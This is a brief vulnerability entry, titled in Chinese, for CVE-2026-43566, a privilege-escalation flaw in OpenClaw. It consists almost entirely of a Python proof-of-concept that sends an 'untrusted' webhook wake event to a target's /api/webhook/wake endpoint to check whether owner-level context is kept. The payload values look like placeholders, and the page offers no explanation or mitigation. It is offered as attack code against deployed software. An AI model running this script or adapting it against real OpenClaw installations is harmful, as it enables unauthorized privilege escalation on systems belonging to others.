CVE-2026-43566 OpenClaw权限提升漏洞

import requests # Target URL for the vulnerable OpenClaw instance target_url = "http://target-ip:port/api/webhook/wake" # Malicious payload designed to trigger the privilege escalation logic # This payload simulates an untrusted webhook wake event payload = { "event_type": "wake", "source": "untrusted", "data": "malicious_content_to_bypass_downgrade" } headers = { "Content-Type": "application/json" } try: # Send the malicious request to the target response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if owner context is preserved.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")